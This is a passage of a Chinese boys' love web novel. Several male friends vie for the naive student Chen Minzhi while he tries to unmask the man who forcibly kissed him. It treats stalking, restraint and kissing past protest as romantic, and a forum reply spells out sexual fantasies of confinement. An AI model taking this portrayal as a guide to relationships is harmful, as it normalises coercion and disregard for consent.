身边的兄弟个个飞黄腾达,他也跟着沾光呢不是,他陈悯之从小到大没交到过什么朋友,更没交到过什么牛逼的朋友,这刚上大学一交就交了三个,他以前竟没发现自己这么厉害! 这说明什么?说明他身边处处都是贵人,前途不可限量! 卫殊抬眼望着少年,眸中温度更烫了。 他就知道,小公主的心那么柔软,怎么会怪他。 陈悯之:“啊对了,你刚才说我要是加什么?加入你们集团吗?现在还不行,我还在顾明珏家上班呢。” 卫殊:“。” 其实他刚刚想说,你要是嫁给我,整个卫氏都是你的,因为他没有兄弟来跟他分家产。 卫殊:“没什么。” 陈悯之这时忽地想起一事:“可你家境这么好,为什么还要收我的矿泉水瓶?” 就算后面几次是因为不好意思拒绝他的好意而收下,但第一次是卫殊在篮球场主动找他要的啊!陈悯之怎么也想不通。 卫殊目光用力地看着他,脖颈通红:“因为我喜欢、喜欢——” 陈悯之睁着一双乌黑润泽的眼睛:“喜欢什么?” 卫殊磕巴了半天,最后脸红脖子粗地说:“因为我喜欢收集矿泉水瓶。” “哦,这样啊。”陈悯之虽然不理解,但还是对个人爱好表示尊重。 他拍拍卫殊的肩膀:“这有什么不好说的。” 比起喜欢收集内.裤的秦陌,卫殊这个爱好可以说是健康又环保。 陈悯之露出一个笑:“谢谢你的礼物,我会好好收着作纪念的。” 他自然想不到,那条裙子是贴合他的身形做的,只以为卫殊是把裙子作为他们儿时友谊的象征送给他。 卫殊也没有解释,只低低道:“嗯。” 在他心里,裙子送给了小公主,穿不穿都是小公主自己的事情,小公主想放着,穿着,或者是不喜欢了扔掉都可以,只是扔掉的话,他会难过一点。 但小公主要是穿上了应该会很漂亮,比他幼时看到的小公主更漂亮。 陈悯之瞥了眼手表:“噢,承轩下课了,我去接一下他,你呢,要和我们一起去玩吗?” 卫殊忽的拉住他:“等一下,我还有话要对你说。“ 陈悯之:“嗯?” 卫殊深吸一口气,闭了闭眼,像是下定决心一般,语句流畅地说:“我今年22岁,195,170,27,目前车有二十辆,房太多没数过,没谈过恋爱,单身,处.男,不抽烟不喝酒,无不良嗜好,中餐西餐都会做,脾气很好包容心强,体力很好拿过全国马拉松冠军,技术没试过但应该还不错,你能不能给我——” “谁问你了?”身侧忽地响起一道阴冷的声音。 卫殊后面“一个机会”四个字没能说出来,他侧首看去,只见陆承轩不知何时站到了陈悯之身旁,对他勾出一丝嘲讽的冷笑。 那笑容意思很明显——赶着自报什么家门呢? 卫殊攥紧了拳头。 男人一双深色眼瞳眯起来,小麦色的肌肉紧绷,仿佛野兽在领地遭遇侵.犯时,发出的危险信号。 陆承轩却笑了一下,亲昵地挽上了身材少年的胳膊,语气亲密又温柔:“哥哥,你们在聊什么呢?” “啊,我也不知道”陈悯之愣了愣,其实他也不太懂卫殊为什么突然对他做了个自我介绍,跟他在网上看过的相亲似的,不过听卫殊最后几个字好像是 “哦!”陈悯之恍然大悟,一双黑白分明的大眼睛看向卫殊,“你是不是想让我给你介绍个女朋友?” 卫殊:“ ” 陆承轩:“ ” 第25章 第 25 章 熟人作案。 25 短暂的沉默后, 陆承轩率先挂着笑开口:“原来卫同学是这个意思啊,卫同学喜欢什么样的女生?我给你介绍。” 卫殊眸光凶狠地瞪了他一眼,看向陈悯之时, 那眸子里的神情又变得无措:“悯悯, 我不是那个意思。” 陈悯之还没回答,陆承轩就冷笑着抢口道:“那你是什么意思?光天化日连那种数据都能报出来, 也不嫌害臊。” 卫殊牙关紧咬,像是忍耐到极致终于开始反击:“我只报给悯悯一个人听,有什么可害臊的?你这么急,是自己数据不行吗?” 陆承轩脸色陡转阴寒:“你说谁数据不行呢?” 两道携着杀意的目光在半空中碰撞,火光四溅,只有处于火光之中的人毫无所觉。 陈悯之一脸茫然地问:“你们在说什么数据啊?身高吗?” 他记得卫殊刚才好像是报了一长串数据来着,但男人语速太快了, 他没听清, 就听见了前面的身高,都不知道后面还报了啥。 此话一出,卫殊像是一把装满弹药的枪突然熄了火, 看陈悯之一眼, 闷着头不说话了。 陆承轩也抿着唇, 脸色怪异。 陈悯之便当自己是猜对了,唉, 虽说男人在意自己的身高很正常, 但也不至于为了争个身高火药味这么浓吧, 他看这两人刚才差点都要打起来了。 本着实事求是的原则, 陈悯之拍拍陆承轩的肩膀:“这有什么好争的,你身高本就差卫殊一点,没必要和他争这个。” 陆承轩190的身高, 在高个子里都算是很高的了,但卫殊毕竟天赋异禀,又是从小就练篮球的,陈悯之搞不懂陆承轩为什么非得和他比。 陈悯之这么一安慰,陆承轩脸色更难看了。 陈悯之咳了两声,又去劝卫殊:“你也是,既然身上数据都比他好了,嘴上就让着点他嘛。” 卫殊发烫的目光看他一眼,不知想到什么,红着耳根子从喉咙里咕噜了一声。 看到这一幕,陆承轩脸上神色要裂开了:“哥哥怎么就确定他身上数据比我好了” 他目光阴狠地盯着卫殊,后槽牙都快咬碎。 谁知道这货有没有虚报数据,正常人怎么可能长到27厘米?他这么天资过人都才24,27那还是人吗?什么驴玩意儿,早点切了得了。 偏偏他那个笨蛋哥哥还一脸理所当然地问他:“这不是显而易见的吗?” 卫殊:“就是。” 陆承轩:“ ” 他捏紧拳头。 最近想开车撞死的人真是有一点多呢。 陆承轩好不容易才调整好面部表情,重新挽上陈悯之的胳膊,笑着说:“我们走吧哥哥,再晚小吃店要关门了。” 陈悯之抬头望一眼天:“这不是还早吗” “我饿了哥哥。” “可卫——” 陈悯之还想说什么,陆承轩已经架着他一路来到了停车场,然后一轰油门,光速驶出了校园。 路上,陈悯之神情严肃地对路承轩道:“卫殊是我朋友,这次专程来找我的,你这样把他扔在那儿很不礼貌。” 陆承轩挨了批评,却好似心情很好的样子,一边把握着方向盘,一边不唇角上弯地回道:“嗯呢,知道了哥哥,我下次一定改正。” 他下次一定在卫殊进校之前就把他创进医院,让他连哥哥的面都见不到。 陈悯之摇摇头,在心底叹了口气。 前两天他还觉得陆承轩长大了,会照顾人了,现在看来还是小孩子心性,只管自己肚子饿不饿,把大老远来的朋友都忽略了。 陆承轩的好心情并没有持续很久。 因为当他们停好车,步行来到小吃街入口时,看到了站桩般杵在那里的高大男人。 陆承轩满脸黑线,陈悯之倒是一脸惊喜地跑上前去:“卫殊?你怎么在这儿?” 卫殊抬手拭去脸上的汗珠,声音低沉:“我想跟你一块儿,就跟过来了。” “那就一起吧。”陈悯之高兴地说。 吃饭就是要人多才好,能多点几个菜呢。 “嗯。” 二人在前面有说有笑,没有看到身后男人阴冷的脸色,仿佛一条终于被惹怒了的,嘶嘶吐信子的毒蛇。 偏偏前面的少年一回头,那抹阴冷又消失得无影无踪。 陈悯之招招手:“承轩,过来呀。” 陆承轩笑笑:“来了哥哥。” 小吃街紧邻大学城,又正好是饭点,街上人头攒动,像黑压压的潮水。 陆承轩把手递给陈悯之:“哥哥抓紧我,这里人多,很容易走散。” 话音未落,旁边就又递过来一条胳膊,男人声线低沉:“抓我,我好抓。” 陈悯之:“呃” 陈悯之自己也不知道,最后是怎么演变成他被两个壮汉一左一右架着走的,真是左右为男。 但不得不说,这两个男人十分地贴心,陈悯之吃板栗,他们在旁边一个劲儿地剥壳子,陈悯之吃烤串儿,他们就在旁边帮忙丢签子,把他照顾得像个衣来伸手饭来张口的贵族少爷。 到最后陈悯之都有点不好意思了,把自己手里的糖葫芦给他们一人喂了一颗,两个人都吃得很开心,又好像有点不开心。 陈悯之没去管他们为什么不开心,他现在眼里只有他的糖葫芦。 红彤彤的山楂球外面裹着糖衣,透明糖衣层里,奶白色的芝麻颗粒清晰可见,入口又香又甜。 陈悯之喜甜不喜酸,因此每次吃糖葫芦都是先把外面一层糖衣舔完,再吃里面的山楂球。 少年殷红的小舌.头伸出来,一点一点地舔着外面亮晶晶的糖衣,因为舍不得两下吃没了,他舔得很慢,跟猫儿似的,一次舔一小口,舔完了再缩回去回味两下,两半微红柔软的唇瓣抿了抿,复而又舔,弄得自己唇边都沾着融化的晶亮糖液。 他的五官不大,唇形却很饱满,唇珠圆润,色泽嫣红,缀满水渍的样子倒真像是一颗裹了糖衣的果子,诱着人去品尝一般。 看得旁边的男人眸光幽深,气息一个比一个粗重。 卫殊视线紧紧贴在少年游动的嫣红舌.尖上,山楂球红得明艳,他却觉得那舌.头比山楂球更红似的,像是一簇燃烧的火苗,燎原一般将他点燃。 他忽然一把夺过少年手里的糖葫芦,硬.着声音说:“别舔了。” 陈悯之:“?” 陈悯之不明所以:“你做什么?” 旁边陆承轩沉着张脸,却没有阻止。 显然,他也看不得陈悯之再这么舔下去了。 卫殊额上不知何时浸出了许多汗,顺着他山峦一般的五官线条滚落,滑过小麦色的皮肤,啪嗒啪嗒砸到地上。 他绷着张俊脸,也不答话,攥着糖葫芦的指节紧绷到泛白。 陈悯之奇怪地看着他,正想问他是不是哪里不舒服,却见男人忽然埋下头,将手里的糖葫芦一颗颗囫囵吞进了嘴里。 陈悯之:? 这串糖葫芦上面的每一颗山楂球都被他舔过了,外面的糖衣都快舔没了,只剩里面光秃秃的酸山楂,上面还沾着晶亮的水渍,卫殊却好像一点也不嫌弃似的,动作飞快地把那些光秃秃的山楂球吃了下去,生怕有人跟他抢一样。 不过几秒钟的时间,男人手里只剩下一根光.溜.溜的竹签。 陈悯之:“ ” 陈悯之一脸莫名其妙:“你想吃早说啊,我都快吃完了,而且我都舔过了” 卫殊语速飞快地答:“我喜欢吃。” 陈悯之有些不理解:“可外面的糖衣都被我舔没了,你不嫌酸吗?” “不酸,甜的。”卫殊眸光直直看着他,喉结滚了滚,“我很喜欢。” 陈悯之叹气:“好好好,知道你喜欢吃糖葫芦了,吃饱了吗?要不要再给你买一串?” 卫殊还没回答,就听一旁的陆承轩幽幽道:“哥哥怎么偏心呢,只给他买。” 陈悯之:“ ” 他觉得头有一点疼。 最后,陈悯之给两人一人买了一串糖葫芦。 但他还是觉得很奇怪,刚才他买糖葫芦吃的时候,问过这两人要不要,两个人都说不要,现在又突然一副很喜欢吃,不吃就不行的模样。 唉,可能吃的还是看着别人嘴里的才香吧。 陆承轩拿着糖葫芦,却没有立刻吃,而是把糖葫芦递到陈悯之跟前,笑吟吟道:“哥哥,我不喜欢吃外面那层糖衣,你帮我吃掉吧。” 陈悯之:“啊?你不是很喜欢吃甜的吗?” 他记得在爱吃甜食这方面,陆承轩明明和他一样啊。 陆承轩还没回答,斜刺里突然窜出一只黑手,夺过他手里的糖葫芦,冷声道:“我帮你。” 陆承轩:“ ” 陈悯之:“也行。” 反正大家都是兄弟,谁吃都是一样的。 在陈悯之看不到的地方,身后陆承轩的眼神像是淬了毒。 他森森盯着卫殊,一字一句道:“还给我。” 可糖葫芦进了卫殊手里,就跟肉包子进了狗嘴里似的,哪里还能有个整样儿? 不到三秒钟,上面的每一颗山楂球都被卫殊用舌.头洗礼了一遍。 卫殊晃了晃手里的糖葫芦,一双大刀似的浓眉瞥向陆承轩:“还要吗?” 陆承轩拳头捏得咔咔作响,脸上浮现出深深的嫌恶:“不要了。” 最后,卫殊一个人吃了两串陈悯之买的糖葫芦,整个人容光焕发,一身黑皮好像都变亮了。 吃过晚饭,陈悯之回到陆承轩家便开始收拾行李。 原本他来这边就是为了躲卫殊,现在误会已经解除,也就没有再待下去的必要了。 陆承轩低着头问:“哥哥今晚就要走吗?要不再住一晚上,明天一早再走?” 陈悯之语气坚决:“不行,我已经耽误好几天的课程了,明天上午我还有课,今晚回去还能赶上,不然明天又得请假。” 陈悯之顿了顿:“而且卫殊也是今晚回去,我刚好跟他一块儿。” 陆承轩没再说什么,难得安静地帮着陈悯之收拾东西。 只是,在陈悯之拉着行李箱要出门的时候,陆承轩忽然拉住了他的胳膊:“哥哥。” 陈悯之:“嗯?” 陆承轩一双浅褐色的眼睛盯着他,这双眼睛平日里总带着笑,不笑时,便显得格外专注和认真:“哥哥那天说过的话,能再对我说一遍吗?” 陈悯之:“什么话?” 陆承轩:“就是说我是很重要的人那一段。” “哦哦,这个啊。”陈悯之奇怪道,“你怎么突然想听这个了?” “就是想听。”陆承轩笑了笑,“毕竟哥哥走了后,我又要有许久不能听到哥哥对我说话了。” 陈悯之挠挠头:“可我都有点忘了我当时怎么说的了” 大概意思他记得,但具体的话他已经忘了。 陆承轩又笑了一下,楼梯间并不明亮的光线下,那笑容显得有些苍白,像是冬日湖泊上快要破碎掉的阳光。 “没关系,我记得。哥哥当时说的是:‘你是很重要的人,我把谁忘了都不会把你忘了的。’” “还有一句是:‘我把你当成我的家人。’” 陈悯之于是上前抱了抱比他高过大半个头的青年,语气认真地说:“‘你是我的家人,是很重要的人,我把谁忘了都不会把你忘了的。” 陆承轩像是终于满意了,笑着对他挥手:“哥哥再见。” “嗯嗯再见。” 等到少年下楼后,他才望着少年和高大男人并肩而行的背影,轻声道:“哥哥可不能骗我哦,不然,我会忍不住惩罚哥哥的。” * 洗清了卫殊身上的变.态嫌疑,陈悯之这两天的注意力便放到另外的变.态身上来。 这几天他什么手段都试过了,包括去原案发地点钓鱼执法,都没有再等到那个强吻他的变.态来自投罗网。 他甚至去报了警,但最终也只是做个笔录就被赶回去说等通知了。 一筹莫展之际,陈悯之又登上了校园论坛,在自己原来的帖子下回帖:【这个变.态太狡猾了,什么证据都没留下,钓鱼执法他也不上钩,大家有没有什么办法能帮我把他揪出来?】 这条帖子原本热度就不低,他这一顶帖很快便又有人回复了。 【不是吧,都这么多天了楼主还没把人揪出来?】 【也不能怪楼主吧,我看楼主的说法,这变.态心思挺缜密的,一点儿证据都没留下,想抓都不知道从何抓起啊。】 【我有一个大胆的猜测,但说了楼主别生气。】 一看有戏,陈悯之忙回复:【你说吧,我不会生气的。】 【根据楼主之前的描述,这个变.态两次强吻楼主,都是在楼主上下学或者上下班的必经之路上,说明要么这个陌生人提前踩过点,摸清了楼主的生活习惯,要么他本身就是楼主身边很亲近的人,根本不用摸,本身就知道楼主什么时候会去什么地方。】 【楼主,你有没有考虑过,这有可能是熟人作案?】 此话一出,陈悯之如遭当头一棒,愣在了原地 熟人作案? 不仅是他,这话也点醒了贴子里的网友,一下炸出了一箩筐回复: 【我靠68楼英明!这么明显的可能我怎么没想到?!】 【这么一想一下就解释得通了!楼主之前不还说那个变.态身上有很刺鼻的女士香水味吗?不会就是怕被楼主认出来,专门买来掩盖自己身上气味的吧?】 【细思极恐啊细思极恐!!!】 陈悯之盯着这一长串回复,只觉得头晕目眩,缓了好一会儿才颤着手指打字:【可是不可能啊,我身边的熟人就那么几个,都是我很好的兄弟,我了解他们,他们不可能做这种事情的。】 【我看楼主还是太天真了。】 【没听说过吗?在目前发生的民事和刑事案件里,有百分之七十以上都是熟人作案。为什么?因为熟人最知道你的习惯和弱点,最知道怎么对你下手。】 【还兄弟呢楼主?别看有些人嘴上喊你兄弟,实际上脑子里已经把你扒.光.操.了几百遍了。】 【对了,你不是说那个变.态第二次亲你的时候把你绑了起来,还找了块儿布把你的眼睛蒙上吗?冰山理论听说过吗?我估计着,他目前在你身上实施的,还不及他脑子里的千分之一。你在这儿把人当兄弟,说不定人家脑子里正想着怎么把你绑到小.黑.屋去关起来,再给你上手铐上跳.蛋什么的,最后看你浑身潮.红被玩儿到崩溃只能对着兄弟叫老公】 【楼主,你听大家一句劝,最近还是小心身边的“熟人”吧。】 陈悯之脸色苍白地关闭了页面。 熟人,他身边满打满算只有四个。 陆承轩,顾明珏,卫殊,秦陌。 会是谁呢? 第26章 第 26 章 男鬼发疯。 26 陈悯之开始仔细回忆案发当天的情况。 第一次太久远, 加上当时他满脑子都是被“女生”亲后的粉红泡泡,压根不记得别的事了,只记得他当时回来秦陌在寝室里, 他和秦陌说了这件事。 第二次他却记得很清楚, 那天晚上他去顾明珏家喂完猫,回校路上刚好陆承轩给他打了个视频电话, 电话挂断之后没多久他就被变态拖进了小巷子里,在小巷子里被变态啃了一会儿,又遇到了跑来找他的卫殊。 陈悯之于是开始一个个排除。 陆承轩在案发前十几分钟刚给他打过视频电话,背景明显是在自己家里,说明他此时确实是在外省,不具备作案条件,首先排除。 卫殊是替他把变态赶跑的人, 在巷子口喊他的时候变态正在啃他胸口, 他一个人不可能分成两半同时出现在巷子内和巷子口,所以也不可能是卫殊。 那么就只剩下顾明珏和秦陌。 这两个人,一个在他喂猫的时候还和他一起;另一个, 在他回来的时候正坐在寝室里, 身上穿着睡衣, 看上去刚刚洗完澡回来。 按理说,都不太像是具备作案时间的样子。 但非要较真的话也不是不可能。 毕竟他当时是走路回学校的, 顾明珏要是在他离开后立刻从家里开车出发, 很容易就能追上他;秦陌也一样, 如果在亲完他之后如果马不停蹄地打车回校, 时间抓紧一点,就算去冲个澡也是完全够的。 那么,怎么才能判断到底是他们之间的哪一个呢? 陈悯之心里暗暗有了一个计划。 * 这个周末, 他照常去顾明珏家里照顾猫。 除了浴池,顾明珏家里也是有淋浴的。自从上次在浴池里晕倒后,陈悯之便很少再泡浴池了,要泡也会注意把窗户打开,并且不会在里面待太久。 但今天晚上,他却放了一池子的热水,故意将门窗紧闭,把自己整个人泡在了池子里,让热腾腾的池水没过胸口。 十分钟过后,他开始感觉到有点胸闷头晕了。 陈悯之脑袋昏沉沉地想着,有点晕就行了,可不能真晕过去。 他从池子里爬起来,擦干水换上睡衣,瞅了眼镜子,觉得这个状态差不多了,便打开门走了出去。 顾明珏坐在沙发上,正拿着手机回复工作上的消息,目光瞥到从浴室走出来,步伐有些不稳的人身上,眉头微蹙:“悯之?你还好吗?” 陈悯之扶着墙,一副很虚弱的样子,对男人摇了摇头,声音里带着他自己都未曾察觉的绵软:“我有点不舒服。” 闻言,顾明珏神色凝重起来,起身过来,伸手探了探他的额头。 “有些热,你在沙发上坐会儿,我去拿温度计。” 顾明珏正要转身,胳膊却忽然被一只温温软软的手抓住。 一抬眼,就见少年耷拉着眼皮,一副没什么精神的样子:“我没发烧,只是在池子里泡久了,有点缺氧。” 少年微微仰着脑袋,一双眼睛又黑又圆,沾着湿漉漉的水汽,像一只迷茫的小鹿,对着他小声道:“那个我觉得我可能需要做一下人工呼吸。” 顾明珏眉尖微挑。 他的视线落在少年泛着薄粉的脸颊上,细细睃巡一圈,然后在那脸上发现了一丝心虚。 须臾,他像是明白过来什么,缓缓上前一步,唇角似勾非勾:“你是说,你想让我给你做人工呼吸?” 男人生得肩宽腿长,比陈悯之高出快一个头,常年身居高位让他身上始终萦绕着一种上位者的优雅与从容。即使那张脸上带着笑,近距离靠过来时,也是极具压迫感的。 陈悯之下意识往后退了退,后背抵到墙上,一双黑白分明的眼睛瞅着男人,蚊子似的“嗯”了一声。 顾明珏望着他,眼底笑意深深。 陈悯之一颗心却七上八下,跟胸口揣了只兔子似的。 他一个直男,当然不会无缘无故让兄弟给自己做人工呼吸。 可目前,这是陈悯之不太聪明的脑子,唯一想出来的能判断谁是变态的办法。 他不知道变态的长相,没听过变态的声音,连变态身上的气味都是经过掩盖处理的,可唯有一点——他记得变态吻他时的感觉,和男人唇齿间的气味。 假设变态真的是顾明珏和秦陌二人其一,只要他分别跟这两人亲一回,陈悯之有百分之八十的把握能判断出到底谁是变态。 但现在他好像在第一步就卡住了。 顾明珏不说话,还一直看着他笑是什么意思? 大家都是兄弟,顾明珏以前也给他做过人工呼吸啊,应该不会太介意帮他这个小忙吧? 还是说顾明珏看穿了他的意图?顾明珏就是那个变态?! 一想到这种可能性,陈悯之就感到后背爬起一阵凉意,一时间连继续执行计划也顾不得了,抬腿就想跑,说话声都中气不足:“你、你不愿意就算了,我先去睡唔——” 话音未落,男人已经扣住他的手腕,将他压在墙上,倾身覆住了他的唇。 陈悯之瞳孔倏地放大。 这还是他在清醒状态下,第一次自愿和男人接吻。 上次顾明珏给他做人工呼吸时,他是昏迷状态,压根不知道被顾明珏亲的时候是什么感觉。 但此刻的感受却清晰异常。 顾明珏的吻是温柔的,就像他这个人给人的感觉一样,皎皎君子,温润如玉,丝毫不带有攻击性,仿佛潺潺流水般从他的唇齿间滑过。 男人的唇舌是温热的,先是动作轻柔地舔舐着他的唇瓣外侧,用舌尖描摹着他嘴唇的形状,再用齿尖轻叩他的唇珠,明明动作一点也不激烈,却让陈悯之的脸莫名热了起来。 他本就有点头晕,再这么一热更是呼吸不畅,下意识将唇瓣张得更开,想要呼吸更多的新鲜空气。 可这反倒为男人大开了方便之门,男人仿佛得了允许一般,将唇舌入侵到他的内里来,大肆在他口中攻城略地,从编贝般的齿列一直舔.吻到里面的小舌.头,仿佛一定要将他口中的每一滴水液搜刮干净才罢休。 “唔嗯” 陈悯之被对方突然增强的攻势压得有些喘不过气了,下意识伸手推拒,却被人捏住手腕反扣到头顶,吻得更深。 “唔不要那么深”顾明珏的动作的确不凶,但他亲得太深了,几乎侵.犯到了舌根,亲吻的动作又很细很久,明明只是接个吻,却给陈悯之一种浑身上下都被亲透了的感觉。 他到后面简直要被这钝刀子磨肉似的亲法给搞崩溃了,喉咙里都被亲出了哭腔:“呜慢一点呜停” 似乎是见他确实承受不住了,男人终于大发慈悲地松开了他。 亲了这么久,顾明珏却一点儿气都不带喘的,仍是那副游刃有余的模样,不过,那眼底的笑意却之前更深了,像覆着一层化不开的温柔:“悯之感觉怎么样?有比之前好点吗?” 陈悯之唇瓣被亲得湿漉漉的,原本浅淡的色泽都被亲成了嫣红,他完全没想到会被亲成这样,心里委屈得不行,偏偏着还都是他自找的,怪不了别人。 于是他只能呼吸急促地喘着气,目光躲躲闪闪,嘴上胡乱应着:“嗯好、好一些了。” 顾明珏视线笼着他,一双清俊眉眼似笑非笑:“是吗?可是我看,悯之似乎还有些缺氧呢,气都喘不匀。” 男人俯身靠近,声线低沉:“那再多做几遍吧。” “什——”陈悯之瞪大双眼,可还没等他反应过来,男人的吻已经又覆了下来。 顾明珏的吻再怎么温柔,他也是个男人,骨子里带着男人与生俱来的侵略性,温柔又强势,陈悯之到这时才知道男人的吻不是潺潺溪流,而是无边无际的大海,不带棱角,却含着磅礴的、让他不能拒绝的力量。 到最后,陈悯之几乎快被亲得脱力了,全靠男人宽大手掌扶住他的腰才没从墙上滑下去。 而顾明珏依旧温柔又体贴地问他:“感觉好些了吗?” 陈悯之简直是以这辈子最快的速度说:“好些了好完了,好得不能再好了!不用再做了!我、我要进去睡觉了!” 说罢,不等顾明珏回答,他已经跟只受惊的兔子似的,慌不择路地撞开男人,踉踉跄跄地跑回了卧室。 顾明珏望着少年紧闭的卧室门,又抬手摸了摸自己的唇,忽然轻轻笑了一下。 果然,那些在黑暗中偷来的滋味,和少年主动起来的香甜比起来,完全不值一提。 * 陈悯之的精神受到了很大的打击。 那天虽然被顾明珏亲到腿软,但也多亏了男人亲得又久又细致,让陈悯之有足够多的细节样本和当初那个变态作对比。 顾明珏的唇舌温热,而那个变态的舌.头虽然很烫,唇瓣却是凉的,而且形状很薄,棱角分明,与顾明珏偏柔和的唇形不一样。 顾明珏亲他的时候更喜欢舔吻,而那个变态却更喜欢咬他,力道还很重,像是要在他身上打标记一样。 顾明珏亲他的时候喜欢弄到很深,去勾弄他的舌.根,而那个变态更喜欢叼着他嫩.嫩的舌.尖嗦,他记得当时舌.头都给他嗦麻了 还有最重要的一点,那个变态亲他的时候嘴里有着淡淡的薄荷味,又泛着微苦,像是某种漱口水的味道,说明这人习惯讲究,很爱干净,说不定还有洁癖 再加上出事以后,是谁对他胸前两点有着异乎寻常的关注 从前被忽略的细节突然间串联起来,如果真是熟人作案,答案几乎呼之欲出——秦陌。 可陈悯之始终不敢相信。 万一他猜错了呢?说到底,现在毕竟还没有实质性的证据,这一切都是他的主观臆断,万一是他弄错了,那他岂不是误会了对自己很好的一个朋友? 可他也的确不知道该怎么去面对秦陌了。 他从小就是同学们口中的老好人,不喜欢与人发生矛盾,更不知道怎么去解决矛盾。 于是陈悯之只好发挥他的鸵鸟本性,开始躲着秦陌。 他开始早出晚归,平时就算没课也去图书馆待着,中午也不回寝室睡觉,晚上更是等到熄灯了才偷偷摸摸回来。 至于周末更不用说,直接从周五下午就缩到了顾明珏家照顾猫,周一早上才回校。 以至于一周多下来,明明同住一个屋檐下,他跟秦陌竟然连照面都没打过几回。 这天,陈悯之又故意拖到熄灯后才回寝室。 他知道秦陌的作息很规律,每天熄灯的时候就会准时睡觉,这样他就不用和秦陌碰面了。 可今天,陈悯之照常放轻步子,悄悄摸进黑漆漆的寝室,打着手电筒准备拿东西去洗漱时,却感到有哪里不对劲。 ——秦陌的床帘是开着的,上面空无一人。 与此同时,他的后背不知为何爬上一层凉意,总感觉有谁在盯着他似的。 陈悯之觉得奇怪,抻着脖子四下张望,却在镜子里瞥见一道站在自己身后的瘦长人影。 “啊啊啊啊啊啊啊鬼啊!!!” 陈悯之当场吓得魂不附体,手电筒都吓掉了,他拔腿就往出口跑,却被一只冰凉的大手攥住了手腕。 那只手力大无穷,一把将他拉扯到了怀中,钳制住他胡乱挣扎的身体。昏黑镜子里,倒映出他和那只鬼紧紧纠.缠在一起的身影。 下一刻,脸色青白的男鬼伸出瘦长指节,捏住他的下巴,阴森森道:“陈悯之,你在躲我?” 第27章 第 27 章 “好兄弟!我错怪你了!…… 27 听到熟悉的声音, 陈悯之的挣扎终于停下来。 哦,原来不是鬼,是人啊。 不对, 好像更怕了。 “放开!放开我!”刚安分了不到几秒钟的少年, 又开始手脚并用地在男人怀里扑腾,像是一秒钟都不愿意在这个怀抱里待下去了。 秦陌脸色难看得像是要吃人。 可手上的力度一点儿也没松。 他保持着从背后禁锢少年的姿势, 问:“为什么躲我?” 你还敢问为什么! 陈悯之气愤地想,你自己做了什么事情自己不知道吗? 可想归想,他又不敢明说。 他想起来上回在小巷子里,自己被男人啃咬胸口时的疼痛感,秦陌力气比他大那么多,他反抗都反抗不了,要是他直接说破, 惹怒了男人, 万一又被摁着啃一回胸口怎么办? 于是陈悯之只能把骂骂咧咧的话憋回肚子里,支支吾吾地说:“没有我没有躲你啊。” 秦陌居高临下地看向他,眸光冰冷, 显然是没有相信他的话。 室内没开灯, 只有微凉的月光从阳台透入, 落在男人身上,却只把他瘦削挺拔的身影衬得又森又冷, 倒映在镜子里, 显得昏暗又扭曲, 仿佛幢幢鬼影。 陈悯之吓得快哭了:“你、你先把灯打开好不好。” 秦陌睨着他半晌, 见少年眼里噙着泪,一副快要哭出来的样子,还是放开人, 先去打开了灯。 周围变得明亮后,陈悯之心里的害怕消散了些,第一时间就是四处寻找剩下一个室友的身影,希望能有个人来帮一下此刻的自己。 秦陌看着少年一副神色紧张,东张西望的样子,哪儿能不知道他在想什么,冷笑道:“不用找了。” “王鸿洲被我支出去了,这几天晚上都跟女朋友住酒店,不会回来。” 住的还是五星级酒店,秦陌付的房钱。 陈悯之望着男人,脸色渐渐白了。 到现在,他哪儿还能不明白,秦陌是专门蹲点,就为了抓他。 他颤颤巍巍地后退一步。 这一举动显然又惹怒了跟前的男人,秦陌眼底闪过一抹森寒,脚下一步步朝他逼近:“躲什么?” 男人五官线条冷锐锋利,戴上眼睛时显得斯文冷俊,不戴眼镜时,那双偏窄的眸子便显露出来,盯着人时黑得吓人,仿佛能洞穿一切。 陈悯之惶惶与男人对视着,被逼得步步后退,直到后背抵上冰凉的门板,退无可退。 他捏紧拳头,忽然紧紧闭上了眼睛。 秦陌简直要被他这幅又像把脑袋埋进沙子里的鸵鸟,又像英勇就义的死士一般的举动气笑了。 他站至陈悯之跟前,宽大手掌卡住那张还没他巴掌大的小脸,迫使他把眼睛睁开,一字一句道:“陈悯之,我在问你话。” 跟前的少年就像只被人逮住的兔子,即使睁开了眼睛,那双圆圆的眼睛也还是躲躲闪闪:“我都说了我没有躲你” 他不擅长掩藏自己的情绪,此刻,那脸上的神情简直明晃晃写着“我在心虚”。 秦陌冷嗤:“没有?” “你这段时间早出晚归,午休也不回寝室,连着一周连话都没和我说过,你还说你没有躲我?” “我”陈悯之张口结舌,但仍然不死心地狡辩:“我那是因为马上要期中考了,去图书馆学习呢。” 秦陌森森盯着他:“陈悯之,我看上去很像傻子吗?” 这人这周有一半的时间都在顾明珏那里住,浑身上下都不知道被男人暗地里亲了多少遍了,还敢和他说是在学习? 陈悯之下巴还被男人握着,只能小幅度地摇了摇头,很认真地回答:“不像,你那么聪明,怎么会是傻子呢。” 秦陌噎了一下。 一拳打到棉花上,陈悯之就是那团水火不侵的棉花。 秦陌深吸一口气,闭了闭眼:“是不是有人对你说了些什么?” 他和陆承轩是一条绳上的蚂蚱,彼此手中都握着对方的把柄,如果是陆承轩先破坏了这种平衡那么他也不会手软。 可跟前的少年脸上只是浮现出疑惑的神情:“什么说了什么?” 秦陌一顿。 他现在确定不是陆承轩干的了。 他太了解陈悯之了,如果真是陆承轩泄露了什么,陈悯之一定会摇着脑袋,傻乎乎地说没有人给他说什么。 就像他只会简单地否定秦陌,说自己没有在躲着一样。 他一点儿都不擅长撒谎。 但既然不是陆承轩,那就只能是陈悯之自己察觉出了什么。 想到这种可能性,秦陌心头一沉。 只是他面上依然滴水不漏,声线冷淡道:“没什么。” 他很确定自己做的事情没有留下任何证据,他不知道陈悯之是如何怀疑到他身上的,但既然没有证据,就终究只能是怀疑。 陈悯之推着他的手:“那你可以放开我了吧?” 秦陌松开了钳制住少年下颌的手掌,身体却没有让开,他肩宽背阔,是完美的倒三角身材,却也如同一堵宽厚的墙,将少年死死困在了方隅之地。 秦陌没再追问陈悯之为什么躲他,既然陈悯之都没有说破,他自然不会去主动撕开这层窗户纸。 他道:“你很讨厌我吗?” 陈悯之摇了摇头:“不讨厌。” 他现在毕竟还不能确定秦陌就是那个变态,如果秦陌不是,那他当然不讨厌他了。 秦陌:“那你喜欢我吗?” 陈悯之一脸莫名其妙:“什么喜欢不喜欢的,我们都是男的。” 他没直接否认。 秦陌想。 几秒钟过后,陈悯之后知后觉地反应过来什么,瞪大眼睛:“难道你你喜欢男的?” 秦陌冷冷道:“不喜欢。” 我没有骗他,秦陌想。 毕竟他喜欢谁,只是喜欢这个人本身,与对方是男是女无关。 